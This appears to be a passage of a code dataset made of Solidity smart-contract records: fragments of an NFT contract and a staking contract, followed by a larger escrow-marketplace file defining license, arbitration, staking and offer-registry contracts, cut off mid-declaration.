uint8 bays = decodeBays(seed); return Metadata.getJSON(lootprintId, classId, colorId, bays, shipName); } else { return Metadata.getJSON(lootprintId, 4, colorId, 0, "?"); } } function imageURI(uint256 lootprintId) public view lootprintExists(lootprintId) returns (string memory) { Lootprint memory lootprint = Lootprints[lootprintId]; uint8 colorId = decodeColor(lootprintId); if (revealBlockHashes[lootprint.index / 1280] > 0) { uint32 seed = uint32(uint256(keccak256(abi.encodePacked(lootprintId, revealBlockHashes[lootprint.index / 1280])))); uint8 classId = decodeClass(seed); string memory shipName = decodeName(seed); uint8 bays = decodeBays(seed); return Metadata.getImage(lootprintId, classId, colorId, bays, shipName); } else { return Metadata.getImage(lootprintId, 4, colorId, 0, "?"); } } /* Rescue Tokens */ /** * @dev Rescue ERC20 assets sent directly to this contract. */ function withdrawForeignERC20(address tokenContract) public onlyContractOwner { IERC20 token = IERC20(tokenContract); token.transfer(contractOwner, token.balanceOf(address(this))); } /** * @dev Rescue ERC721 assets sent directly to this contract. */ function withdrawForeignERC721(address tokenContract, uint256 lootprintId) public onlyContractOwner { IERC721(tokenContract).safeTransferFrom(address(this), contractOwner, lootprintId); } }
Is the minting of a specific rescueOrder needing payment or is it free?/
function paidMint(uint256 rescueOrder) public view returns (bool) { uint256 wordIndex = rescueOrder / 256; uint256 bitIndex = rescueOrder % 256; return (uint(NoChargeList[wordIndex] >> (255 - bitIndex)) & 1) == 0; }
12,100,475
./full_match/42161/0xc6CcA907A475a70B2052582A0d52674d997a2c67/sources/contracts/EscrowAndStaking/StakingThales.sol
Get the staked balance for the account account to get the staked balance for return the staked balance for the account
function stakedBalanceOf(address account) external view returns (uint) { return _stakedBalances[account]; }
16,302,216
pragma solidity ^0.5.7; // Abstract contract for the full ERC 20 Token standard // https://github.com/ethereum/EIPs/issues/20 interface ERC20Token { /** * @notice send `_value` token to `_to` from `msg.sender` * @param _to The address of the recipient * @param _value The amount of token to be transferred * @return Whether the transfer was successful or not */ function transfer(address _to, uint256 _value) external returns (bool success); /** * @notice `msg.sender` approves `_spender` to spend `_value` tokens * @param _spender The address of the account able to transfer the tokens * @param _value The amount of tokens to be approved for transfer * @return Whether the approval was successful or not */ function approve(address _spender, uint256 _value) external returns (bool success); /** * @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` * @param _from The address of the sender * @param _to The address of the recipient * @param _value The amount of token to be transferred * @return Whether the transfer was successful or not */ function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); /** * @param _owner The address from which the balance will be retrieved * @return The balance */ function balanceOf(address _owner) external view returns (uint256 balance); /** * @param _owner The address of the account owning tokens * @param _spender The address of the account able to transfer the tokens * @return Amount of remaining tokens allowed to spent */ function allowance(address _owner, address _spender) external view returns (uint256 remaining); /** * @notice return total supply of tokens */ function totalSupply() external view returns (uint256 supply); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Get the contract's owner * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Only the contract's owner can invoke this function"); _; } /** * @dev Sets an owner address * @param _newOwner new owner address */ function _setOwner(address _newOwner) internal { _owner = _newOwner; } /** * @dev is sender the owner of the contract? * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() external onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) external onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0), "New owner cannot be address(0)"); emit OwnershipTransferred(_owner, _newOwner); _owner = _newOwner; } } contract ReentrancyGuard { bool public locked = false; modifier reentrancyGuard() { require(!locked, "Reentrant call detected!"); locked = true; _; locked = false; } } contract Proxiable { // Code position in storage is keccak256("PROXIABLE") = "0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7" event Upgraded(address indexed implementation); function updateCodeAddress(address newAddress) internal { require( bytes32(0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7) == Proxiable(newAddress).proxiableUUID(), "Not compatible" ); assembly { // solium-disable-line sstore(0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7, newAddress) } emit Upgraded(newAddress); } function proxiableUUID() public pure returns (bytes32) { return 0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7; } }/* solium-disable no-empty-blocks */ /* solium-disable security/no-inline-assembly */ /** * @dev Uses ethereum signed messages */ contract MessageSigned { constructor() internal {} /** * @dev recovers address who signed the message * @param _signHash operation ethereum signed message hash * @param _messageSignature message `_signHash` signature */ function _recoverAddress(bytes32 _signHash, bytes memory _messageSignature) internal pure returns(address) { uint8 v; bytes32 r; bytes32 s; (v,r,s) = signatureSplit(_messageSignature); return ecrecover(_signHash, v, r, s); } /** * @dev Hash a hash with `"\x19Ethereum Signed Message:\n32"` * @param _hash Sign to hash. * @return Hash to be signed. */ function _getSignHash(bytes32 _hash) internal pure returns (bytes32 signHash) { signHash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", _hash)); } /** * @dev divides bytes signature into `uint8 v, bytes32 r, bytes32 s` * @param _signature Signature string */ function signatureSplit(bytes memory _signature) internal pure returns (uint8 v, bytes32 r, bytes32 s) { require(_signature.length == 65, "Bad signature length"); // The signature format is a compact form of: // {bytes32 r}{bytes32 s}{uint8 v} // Compact means, uint8 is not padded to 32 bytes. assembly { r := mload(add(_signature, 32)) s := mload(add(_signature, 64)) // Here we are loading the last 32 bytes, including 31 bytes // of 's'. There is no 'mload8' to do this. // // 'byte' is not working due to the Solidity parser, so lets // use the second best option, 'and' v := and(mload(add(_signature, 65)), 0xff) } if (v < 27) { v += 27; } require(v == 27 || v == 28, "Bad signature version"); } } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 _amount, address _token, bytes memory _data) public; } /* solium-disable security/no-block-members */ /* solium-disable security/no-inline-assembly */ contract SafeTransfer { function _safeTransfer(ERC20Token _token, address _to, uint256 _value) internal returns (bool result) { _token.transfer(_to, _value); assembly { switch returndatasize() case 0 { result := not(0) } case 32 { returndatacopy(0, 0, 32) result := mload(0) } default { revert(0, 0) } } require(result, "Unsuccessful token transfer"); } function _safeTransferFrom( ERC20Token _token, address _from, address _to, uint256 _value ) internal returns (bool result) { _token.transferFrom(_from, _to, _value); assembly { switch returndatasize() case 0 { result := not(0) } case 32 { returndatacopy(0, 0, 32) result := mload(0) } default { revert(0, 0) } } require(result, "Unsuccessful token transfer"); } } /* solium-disable security/no-block-members */ /* solium-disable security/no-inline-assembly */ /** * @title License * @dev Contract for buying a license */ contract License is Ownable, ApproveAndCallFallBack, SafeTransfer, Proxiable { uint256 public price; ERC20Token token; address burnAddress; struct LicenseDetails { uint price; uint creationTime; } address[] public licenseOwners; mapping(address => uint) public idxLicenseOwners; mapping(address => LicenseDetails) public licenseDetails; event Bought(address buyer, uint256 price); event PriceChanged(uint256 _price); bool internal _initialized; /** * @param _tokenAddress Address of token used to pay for licenses (SNT) * @param _price Price of the licenses * @param _burnAddress Address where the license fee is going to be sent */ constructor(address _tokenAddress, uint256 _price, address _burnAddress) public { init(_tokenAddress, _price, _burnAddress); } /** * @dev Initialize contract (used with proxy). Can only be called once * @param _tokenAddress Address of token used to pay for licenses (SNT) * @param _price Price of the licenses * @param _burnAddress Address where the license fee is going to be sent */ function init( address _tokenAddress, uint256 _price, address _burnAddress ) public { assert(_initialized == false); _initialized = true; price = _price; token = ERC20Token(_tokenAddress); burnAddress = _burnAddress; _setOwner(msg.sender); } function updateCode(address newCode) public onlyOwner { updateCodeAddress(newCode); } /** * @notice Check if the address already owns a license * @param _address The address to check * @return bool */ function isLicenseOwner(address _address) public view returns (bool) { return licenseDetails[_address].price != 0 && licenseDetails[_address].creationTime != 0; } /** * @notice Buy a license * @dev Requires value to be equal to the price of the license. * The msg.sender must not already own a license. */ function buy() external returns(uint) { uint id = _buyFrom(msg.sender); return id; } /** * @notice Buy a license * @dev Requires value to be equal to the price of the license. * The _owner must not already own a license. */ function _buyFrom(address _licenseOwner) internal returns(uint) { require(licenseDetails[_licenseOwner].creationTime == 0, "License already bought"); licenseDetails[_licenseOwner] = LicenseDetails({ price: price, creationTime: block.timestamp }); uint idx = licenseOwners.push(_licenseOwner); idxLicenseOwners[_licenseOwner] = idx; emit Bought(_licenseOwner, price); require(_safeTransferFrom(token, _licenseOwner, burnAddress, price), "Unsuccessful token transfer"); return idx; } /** * @notice Set the license price * @param _price The new price of the license * @dev Only the owner of the contract can perform this action */ function setPrice(uint256 _price) external onlyOwner { price = _price; emit PriceChanged(_price); } /** * @dev Get number of license owners * @return uint */ function getNumLicenseOwners() external view returns (uint256) { return licenseOwners.length; } /** * @notice Support for "approveAndCall". Callable only by `token()`. * @param _from Who approved. * @param _amount Amount being approved, need to be equal `price()`. * @param _token Token being approved, need to be equal `token()`. * @param _data Abi encoded data with selector of `buy(and)`. */ function receiveApproval(address _from, uint256 _amount, address _token, bytes memory _data) public { require(_amount == price, "Wrong value"); require(_token == address(token), "Wrong token"); require(_token == address(msg.sender), "Wrong call"); require(_data.length == 4, "Wrong data length"); require(_abiDecodeBuy(_data) == bytes4(0xa6f2ae3a), "Wrong method selector"); //bytes4(keccak256("buy()")) _buyFrom(_from); } /** * @dev Decodes abi encoded data with selector for "buy()". * @param _data Abi encoded data. * @return Decoded registry call. */ function _abiDecodeBuy(bytes memory _data) internal pure returns(bytes4 sig) { assembly { sig := mload(add(_data, add(0x20, 0))) } } } contract IEscrow { enum EscrowStatus {CREATED, FUNDED, PAID, RELEASED, CANCELED} struct EscrowTransaction { uint256 offerId; address token; uint256 tokenAmount; uint256 expirationTime; uint256 sellerRating; uint256 buyerRating; uint256 fiatAmount; address payable buyer; address payable seller; address payable arbitrator; EscrowStatus status; } function createEscrow_relayed( address payable _sender, uint _offerId, uint _tokenAmount, uint _fiatAmount, string calldata _contactData, string calldata _location, string calldata _username ) external returns(uint escrowId); function pay(uint _escrowId) external; function pay_relayed(address _sender, uint _escrowId) external; function cancel(uint _escrowId) external; function cancel_relayed(address _sender, uint _escrowId) external; function openCase(uint _escrowId, uint8 _motive) external; function openCase_relayed(address _sender, uint256 _escrowId, uint8 _motive) external; function rateTransaction(uint _escrowId, uint _rate) external; function rateTransaction_relayed(address _sender, uint _escrowId, uint _rate) external; function getBasicTradeData(uint _escrowId) external view returns(address payable buyer, address payable seller, address token, uint tokenAmount); } /** * @title Pausable * @dev Makes contract functions pausable by the owner */ contract Pausable is Ownable { event Paused(); event Unpaused(); bool public paused; constructor () internal { paused = false; } modifier whenNotPaused() { require(!paused, "Contract must be unpaused"); _; } modifier whenPaused() { require(paused, "Contract must be paused"); _; } /** * @dev Disables contract functions marked with "whenNotPaused" and enables the use of functions marked with "whenPaused" * Only the owner of the contract can invoke this function */ function pause() external onlyOwner whenNotPaused { paused = true; emit Paused(); } /** * @dev Enables contract functions marked with "whenNotPaused" and disables the use of functions marked with "whenPaused" * Only the owner of the contract can invoke this function */ function unpause() external onlyOwner whenPaused { paused = false; emit Unpaused(); } } /* solium-disable security/no-block-members */ /** * @title ArbitratorLicense * @dev Contract for management of an arbitrator license */ contract ArbitrationLicense is License { enum RequestStatus {NONE,AWAIT,ACCEPTED,REJECTED,CLOSED} struct Request{ address seller; address arbitrator; RequestStatus status; uint date; } struct ArbitratorLicenseDetails { uint id; bool acceptAny;// accept any seller } mapping(address => ArbitratorLicenseDetails) public arbitratorlicenseDetails; mapping(address => mapping(address => bool)) public permissions; mapping(address => mapping(address => bool)) public blacklist; mapping(bytes32 => Request) public requests; event ArbitratorRequested(bytes32 id, address indexed seller, address indexed arbitrator); event RequestAccepted(bytes32 id, address indexed arbitrator, address indexed seller); event RequestRejected(bytes32 id, address indexed arbitrator, address indexed seller); event RequestCanceled(bytes32 id, address indexed arbitrator, address indexed seller); event BlacklistSeller(address indexed arbitrator, address indexed seller); event UnBlacklistSeller(address indexed arbitrator, address indexed seller); /** * @param _tokenAddress Address of token used to pay for licenses (SNT) * @param _price Amount of token needed to buy a license * @param _burnAddress Burn address where the price of the license is sent */ constructor(address _tokenAddress, uint256 _price, address _burnAddress) License(_tokenAddress, _price, _burnAddress) public {} /** * @notice Buy an arbitrator license */ function buy() external returns(uint) { return _buy(msg.sender, false); } /** * @notice Buy an arbitrator license and set if the arbitrator accepts any seller * @param _acceptAny When set to true, all sellers are accepted by the arbitrator */ function buy(bool _acceptAny) external returns(uint) { return _buy(msg.sender, _acceptAny); } /** * @notice Buy an arbitrator license and set if the arbitrator accepts any seller. Sets the arbitrator as the address in params instead of the sender * @param _sender Address of the arbitrator * @param _acceptAny When set to true, all sellers are accepted by the arbitrator */ function _buy(address _sender, bool _acceptAny) internal returns (uint id) { id = _buyFrom(_sender); arbitratorlicenseDetails[_sender].id = id; arbitratorlicenseDetails[_sender].acceptAny = _acceptAny; } /** * @notice Change acceptAny parameter for arbitrator * @param _acceptAny indicates does arbitrator allow to accept any seller/choose sellers */ function changeAcceptAny(bool _acceptAny) public { require(isLicenseOwner(msg.sender), "Message sender should have a valid arbitrator license"); require(arbitratorlicenseDetails[msg.sender].acceptAny != _acceptAny, "Message sender should pass parameter different from the current one"); arbitratorlicenseDetails[msg.sender].acceptAny = _acceptAny; } /** * @notice Allows arbitrator to accept a seller * @param _arbitrator address of a licensed arbitrator */ function requestArbitrator(address _arbitrator) public { require(isLicenseOwner(_arbitrator), "Arbitrator should have a valid license"); require(!arbitratorlicenseDetails[_arbitrator].acceptAny, "Arbitrator already accepts all cases"); bytes32 _id = keccak256(abi.encodePacked(_arbitrator, msg.sender)); RequestStatus _status = requests[_id].status; require(_status != RequestStatus.AWAIT && _status != RequestStatus.ACCEPTED, "Invalid request status"); if(_status == RequestStatus.REJECTED || _status == RequestStatus.CLOSED){ require(requests[_id].date + 3 days < block.timestamp, "Must wait 3 days before requesting the arbitrator again"); } requests[_id] = Request({ seller: msg.sender, arbitrator: _arbitrator, status: RequestStatus.AWAIT, date: block.timestamp }); emit ArbitratorRequested(_id, msg.sender, _arbitrator); } /** * @dev Get Request Id * @param _arbitrator Arbitrator address * @param _account Seller account * @return Request Id */ function getId(address _arbitrator, address _account) external pure returns(bytes32){ return keccak256(abi.encodePacked(_arbitrator,_account)); } /** * @notice Allows arbitrator to accept a seller's request * @param _id request id */ function acceptRequest(bytes32 _id) public { require(isLicenseOwner(msg.sender), "Arbitrator should have a valid license"); require(requests[_id].status == RequestStatus.AWAIT, "This request is not pending"); require(!arbitratorlicenseDetails[msg.sender].acceptAny, "Arbitrator already accepts all cases"); require(requests[_id].arbitrator == msg.sender, "Invalid arbitrator"); requests[_id].status = RequestStatus.ACCEPTED; address _seller = requests[_id].seller; permissions[msg.sender][_seller] = true; emit RequestAccepted(_id, msg.sender, requests[_id].seller); } /** * @notice Allows arbitrator to reject a request * @param _id request id */ function rejectRequest(bytes32 _id) public { require(isLicenseOwner(msg.sender), "Arbitrator should have a valid license"); require(requests[_id].status == RequestStatus.AWAIT || requests[_id].status == RequestStatus.ACCEPTED, "Invalid request status"); require(!arbitratorlicenseDetails[msg.sender].acceptAny, "Arbitrator accepts all cases"); require(requests[_id].arbitrator == msg.sender, "Invalid arbitrator"); requests[_id].status = RequestStatus.REJECTED; requests[_id].date = block.timestamp; address _seller = requests[_id].seller; permissions[msg.sender][_seller] = false; emit RequestRejected(_id, msg.sender, requests[_id].seller); } /** * @notice Allows seller to cancel a request * @param _id request id */ function cancelRequest(bytes32 _id) public { require(requests[_id].seller == msg.sender, "This request id does not belong to the message sender"); require(requests[_id].status == RequestStatus.AWAIT || requests[_id].status == RequestStatus.ACCEPTED, "Invalid request status"); address arbitrator = requests[_id].arbitrator; requests[_id].status = RequestStatus.CLOSED; requests[_id].date = block.timestamp; address _arbitrator = requests[_id].arbitrator; permissions[_arbitrator][msg.sender] = false; emit RequestCanceled(_id, arbitrator, requests[_id].seller); } /** * @notice Allows arbitrator to blacklist a seller * @param _seller Seller address */ function blacklistSeller(address _seller) public { require(isLicenseOwner(msg.sender), "Arbitrator should have a valid license"); blacklist[msg.sender][_seller] = true; emit BlacklistSeller(msg.sender, _seller); } /** * @notice Allows arbitrator to remove a seller from the blacklist * @param _seller Seller address */ function unBlacklistSeller(address _seller) public { require(isLicenseOwner(msg.sender), "Arbitrator should have a valid license"); blacklist[msg.sender][_seller] = false; emit UnBlacklistSeller(msg.sender, _seller); } /** * @notice Checks if Arbitrator permits to use his/her services * @param _seller sellers's address * @param _arbitrator arbitrator's address */ function isAllowed(address _seller, address _arbitrator) public view returns(bool) { return (arbitratorlicenseDetails[_arbitrator].acceptAny && !blacklist[_arbitrator][_seller]) || permissions[_arbitrator][_seller]; } /** * @notice Support for "approveAndCall". Callable only by `token()`. * @param _from Who approved. * @param _amount Amount being approved, need to be equal `price()`. * @param _token Token being approved, need to be equal `token()`. * @param _data Abi encoded data with selector of `buy(and)`. */ function receiveApproval(address _from, uint256 _amount, address _token, bytes memory _data) public { require(_amount == price, "Wrong value"); require(_token == address(token), "Wrong token"); require(_token == address(msg.sender), "Wrong call"); require(_data.length == 4, "Wrong data length"); require(_abiDecodeBuy(_data) == bytes4(0xa6f2ae3a), "Wrong method selector"); //bytes4(keccak256("buy()")) _buy(_from, false); } } contract SecuredFunctions is Ownable { mapping(address => bool) public allowedContracts; /// @notice Only allowed addresses and the same contract can invoke this function modifier onlyAllowedContracts { require(allowedContracts[msg.sender] || msg.sender == address(this), "Only allowed contracts can invoke this function"); _; } /** * @dev Set contract addresses with special privileges to execute special functions * @param _contract Contract address * @param _allowed Is contract allowed? */ function setAllowedContract ( address _contract, bool _allowed ) public onlyOwner { allowedContracts[_contract] = _allowed; } } contract Stakable is Ownable, SafeTransfer { uint public basePrice = 0.01 ether; address payable public burnAddress; struct Stake { uint amount; address payable owner; address token; } mapping(uint => Stake) public stakes; mapping(address => uint) public stakeCounter; event BurnAddressChanged(address sender, address prevBurnAddress, address newBurnAddress); event BasePriceChanged(address sender, uint prevPrice, uint newPrice); event Staked(uint indexed itemId, address indexed owner, uint amount); event Unstaked(uint indexed itemId, address indexed owner, uint amount); event Slashed(uint indexed itemId, address indexed owner, address indexed slasher, uint amount); constructor(address payable _burnAddress) public { burnAddress = _burnAddress; } /** * @dev Changes the burn address * @param _burnAddress New burn address */ function setBurnAddress(address payable _burnAddress) external onlyOwner { emit BurnAddressChanged(msg.sender, burnAddress, _burnAddress); burnAddress = _burnAddress; } /** * @dev Changes the base price * @param _basePrice New burn address */ function setBasePrice(uint _basePrice) external onlyOwner { emit BasePriceChanged(msg.sender, basePrice, _basePrice); basePrice = _basePrice; } function _stake(uint _itemId, address payable _owner, address _tokenAddress) internal { require(stakes[_itemId].owner == address(0), "Already has/had a stake"); stakeCounter[_owner]++; uint stakeAmount = basePrice * stakeCounter[_owner] * stakeCounter[_owner]; // y = basePrice * x^2 // Using only ETH as stake for phase 0 _tokenAddress = address(0); require(msg.value == stakeAmount, "ETH amount is required"); // Uncomment to support tokens /* if (_tokenAddress != address(0)) { require(msg.value == 0, "Cannot send ETH with token address different from 0"); ERC20Token tokenToPay = ERC20Token(_tokenAddress); require(_safeTransferFrom(tokenToPay, _owner, address(this), stakeAmount), "Unsuccessful token transfer"); } else { require(msg.value == stakeAmount, "ETH amount is required"); } */ stakes[_itemId].amount = stakeAmount; stakes[_itemId].owner = _owner; stakes[_itemId].token = _tokenAddress; emit Staked(_itemId, _owner, stakeAmount); } function getAmountToStake(address _owner) public view returns(uint){ uint stakeCnt = stakeCounter[_owner] + 1; return basePrice * stakeCnt * stakeCnt; // y = basePrice * x^2 } function _unstake(uint _itemId) internal { Stake storage s = stakes[_itemId]; if (s.amount == 0) return; // No stake for item uint amount = s.amount; s.amount = 0; assert(stakeCounter[s.owner] > 0); stakeCounter[s.owner]--; if (s.token == address(0)) { (bool success, ) = s.owner.call.value(amount)(""); require(success, "Transfer failed."); } else { require(_safeTransfer(ERC20Token(s.token), s.owner, amount), "Couldn't transfer funds"); } emit Unstaked(_itemId, s.owner, amount); } function _slash(uint _itemId) internal { Stake storage s = stakes[_itemId]; // TODO: what happens if offer was previosly validated and the user removed the stake? if (s.amount == 0) return; uint amount = s.amount; s.amount = 0; if (s.token == address(0)) { (bool success, ) = burnAddress.call.value(amount)(""); require(success, "Transfer failed."); } else { require(_safeTransfer(ERC20Token(s.token), burnAddress, amount), "Couldn't transfer funds"); } emit Slashed(_itemId, s.owner, msg.sender, amount); } function _refundStake(uint _itemId) internal { Stake storage s = stakes[_itemId]; if (s.amount == 0) return; uint amount = s.amount; s.amount = 0; stakeCounter[s.owner]--; if (amount != 0) { if (s.token == address(0)) { (bool success, ) = s.owner.call.value(amount)(""); require(success, "Transfer failed."); } else { require(_safeTransfer(ERC20Token(s.token), s.owner, amount), "Couldn't transfer funds"); } } } } /** * @title MetadataStore * @dev User and offers registry */ contract MetadataStore is Stakable, MessageSigned, SecuredFunctions, Proxiable { struct User { string contactData; string location; string username; } struct Offer { int16 margin; uint[] paymentMethods; uint limitL; uint limitU; address asset; string currency; address payable owner; address payable arbitrator; bool deleted; } License public sellingLicenses; ArbitrationLicense public arbitrationLicenses; mapping(address => User) public users; mapping(address => uint) public user_nonce; Offer[] public offers; mapping(address => uint256[]) public addressToOffers; mapping(address => mapping (uint256 => bool)) public offerWhitelist; bool internal _initialized; event OfferAdded( address owner, uint256 offerId, address asset, string location, string currency, string username, uint[] paymentMethods, uint limitL, uint limitU, int16 margin ); event OfferRemoved(address owner, uint256 offerId); /** * @param _sellingLicenses Sellers licenses contract address * @param _arbitrationLicenses Arbitrators licenses contract address * @param _burnAddress Address to send slashed offer funds */ constructor(address _sellingLicenses, address _arbitrationLicenses, address payable _burnAddress) public Stakable(_burnAddress) { init(_sellingLicenses, _arbitrationLicenses); } /** * @dev Initialize contract (used with proxy). Can only be called once * @param _sellingLicenses Sellers licenses contract address * @param _arbitrationLicenses Arbitrators licenses contract address */ function init( address _sellingLicenses, address _arbitrationLicenses ) public { assert(_initialized == false); _initialized = true; sellingLicenses = License(_sellingLicenses); arbitrationLicenses = ArbitrationLicense(_arbitrationLicenses); basePrice = 0.01 ether; _setOwner(msg.sender); } function updateCode(address newCode) public onlyOwner { updateCodeAddress(newCode); } event LicensesChanged(address sender, address oldSellingLicenses, address newSellingLicenses, address oldArbitrationLicenses, address newArbitrationLicenses); /** * @dev Initialize contract (used with proxy). Can only be called once * @param _sellingLicenses Sellers licenses contract address * @param _arbitrationLicenses Arbitrators licenses contract address */ function setLicenses( address _sellingLicenses, address _arbitrationLicenses ) public onlyOwner { emit LicensesChanged(msg.sender, address(sellingLicenses), address(_sellingLicenses), address(arbitrationLicenses), (_arbitrationLicenses)); sellingLicenses = License(_sellingLicenses); arbitrationLicenses = ArbitrationLicense(_arbitrationLicenses); } /** * @dev Get datahash to be signed * @param _username Username * @param _contactData Contact Data ContactType:UserId * @param _nonce Nonce value (obtained from user_nonce) * @return bytes32 to sign */ function _dataHash(string memory _username, string memory _contactData, uint _nonce) internal view returns (bytes32) { return keccak256(abi.encodePacked(address(this), _username, _contactData, _nonce)); } /** * @notice Get datahash to be signed * @param _username Username * @param _contactData Contact Data ContactType:UserId * @return bytes32 to sign */ function getDataHash(string calldata _username, string calldata _contactData) external view returns (bytes32) { return _dataHash(_username, _contactData, user_nonce[msg.sender]); } /** * @dev Get signer address from signature. This uses the signature parameters to validate the signature * @param _username Status username * @param _contactData Contact Data ContactType:UserId * @param _nonce User nonce * @param _signature Signature obtained from the previous parameters * @return Signing user address */ function _getSigner( string memory _username, string memory _contactData, uint _nonce, bytes memory _signature ) internal view returns(address) { bytes32 signHash = _getSignHash(_dataHash(_username, _contactData, _nonce)); return _recoverAddress(signHash, _signature); } /** * @notice Get signer address from signature * @param _username Status username * @param _contactData Contact Data ContactType:UserId * @param _nonce User nonce * @param _signature Signature obtained from the previous parameters * @return Signing user address */ function getMessageSigner( string calldata _username, string calldata _contactData, uint _nonce, bytes calldata _signature ) external view returns(address) { return _getSigner(_username, _contactData, _nonce, _signature); } /** * @dev Adds or updates user information * @param _user User address to update * @param _contactData Contact Data ContactType:UserId * @param _location New location * @param _username New status username */ function _addOrUpdateUser( address _user, string memory _contactData, string memory _location, string memory _username ) internal { User storage u = users[_user]; u.contactData = _contactData; u.location = _location; u.username = _username; } /** * @notice Adds or updates user information via signature * @param _signature Signature * @param _contactData Contact Data ContactType:UserId * @param _location New location * @param _username New status username * @return Signing user address */ function addOrUpdateUser( bytes calldata _signature, string calldata _contactData, string calldata _location, string calldata _username, uint _nonce ) external returns(address payable _user) { _user = address(uint160(_getSigner(_username, _contactData, _nonce, _signature))); require(_nonce == user_nonce[_user], "Invalid nonce"); user_nonce[_user]++; _addOrUpdateUser(_user, _contactData, _location, _username); return _user; } /** * @notice Adds or updates user information * @param _contactData Contact Data ContactType:UserId * @param _location New location * @param _username New status username * @return Signing user address */ function addOrUpdateUser( string calldata _contactData, string calldata _location, string calldata _username ) external { _addOrUpdateUser(msg.sender, _contactData, _location, _username); } /** * @notice Adds or updates user information * @dev can only be called by the escrow contract * @param _sender Address that sets the user info * @param _contactData Contact Data ContactType:UserId * @param _location New location * @param _username New status username * @return Signing user address */ function addOrUpdateUser( address _sender, string calldata _contactData, string calldata _location, string calldata _username ) external onlyAllowedContracts { _addOrUpdateUser(_sender, _contactData, _location, _username); } /** * @dev Add a new offer with a new user if needed to the list * @param _asset The address of the erc20 to exchange, pass 0x0 for Eth * @param _contactData Contact Data ContactType:UserId * @param _location The location on earth * @param _currency The currency the user want to receive (USD, EUR...) * @param _username The username of the user * @param _paymentMethods The list of the payment methods the user accept * @param _limitL Lower limit accepted * @param _limitU Upper limit accepted * @param _margin The margin for the user * @param _arbitrator The arbitrator used by the offer */ function addOffer( address _asset, string memory _contactData, string memory _location, string memory _currency, string memory _username, uint[] memory _paymentMethods, uint _limitL, uint _limitU, int16 _margin, address payable _arbitrator ) public payable { //require(sellingLicenses.isLicenseOwner(msg.sender), "Not a license owner"); // @TODO: limit number of offers if the sender is unlicensed? require(arbitrationLicenses.isAllowed(msg.sender, _arbitrator), "Arbitrator does not allow this transaction"); require(_limitL <= _limitU, "Invalid limits"); require(msg.sender != _arbitrator, "Cannot arbitrate own offers"); _addOrUpdateUser( msg.sender, _contactData, _location, _username ); Offer memory newOffer = Offer( _margin, _paymentMethods, _limitL, _limitU, _asset, _currency, msg.sender, _arbitrator, false ); uint256 offerId = offers.push(newOffer) - 1; offerWhitelist[msg.sender][offerId] = true; addressToOffers[msg.sender].push(offerId); emit OfferAdded( msg.sender, offerId, _asset, _location, _currency, _username, _paymentMethods, _limitL, _limitU, _margin); _stake(offerId, msg.sender, _asset); } /** * @notice Remove user offer * @dev Removed offers are marked as deleted instead of being deleted * @param _offerId Id of the offer to remove */ function removeOffer(uint256 _offerId) external { require(offerWhitelist[msg.sender][_offerId], "Offer does not exist"); offers[_offerId].deleted = true; offerWhitelist[msg.sender][_offerId] = false; emit OfferRemoved(msg.sender, _offerId); _unstake(_offerId); } /** * @notice Get the offer by Id * @dev normally we'd access the offers array, but it would not return the payment methods * @param _id Offer id * @return Offer data (see Offer struct) */ function offer(uint256 _id) external view returns ( address asset, string memory currency, int16 margin, uint[] memory paymentMethods, uint limitL, uint limitH, address payable owner, address payable arbitrator, bool deleted ) { Offer memory theOffer = offers[_id]; // In case arbitrator rejects the seller address payable offerArbitrator = theOffer.arbitrator; if(!arbitrationLicenses.isAllowed(theOffer.owner, offerArbitrator)){ offerArbitrator = address(0); } return ( theOffer.asset, theOffer.currency, theOffer.margin, theOffer.paymentMethods, theOffer.limitL, theOffer.limitU, theOffer.owner, offerArbitrator, theOffer.deleted ); } /** * @notice Get the offer's owner by Id * @dev Helper function * @param _id Offer id * @return Seller address */ function getOfferOwner(uint256 _id) external view returns (address payable) { return (offers[_id].owner); } /** * @notice Get the offer's asset by Id * @dev Helper function * @param _id Offer id * @return Token address used in the offer */ function getAsset(uint256 _id) external view returns (address) { return (offers[_id].asset); } /** * @notice Get the offer's arbitrator by Id * @dev Helper function * @param _id Offer id * @return Arbitrator address */ function getArbitrator(uint256 _id) external view returns (address payable) { return (offers[_id].arbitrator); } /** * @notice Get the size of the offers * @return Number of offers stored in the contract */ function offersSize() external view returns (uint256) { return offers.length; } /** * @notice Get all the offer ids of the address in params * @param _address Address of the offers * @return Array of offer ids for a specific address */ function getOfferIds(address _address) external view returns (uint256[] memory) { return addressToOffers[_address]; } /** * @dev Slash offer stake. If the sender is not the escrow contract, nothing will happen * @param _offerId Offer Id to slash */ function slashStake(uint _offerId) external onlyAllowedContracts { _slash(_offerId); } /** * @dev Refunds a stake. Can be called automatically after an escrow is released * @param _offerId Offer Id to slash */ function refundStake(uint _offerId) external onlyAllowedContracts { _refundStake(_offerId); } } /** * @title Fee utilities * @dev Fee registry, payment and withdraw utilities. */ contract Fees is 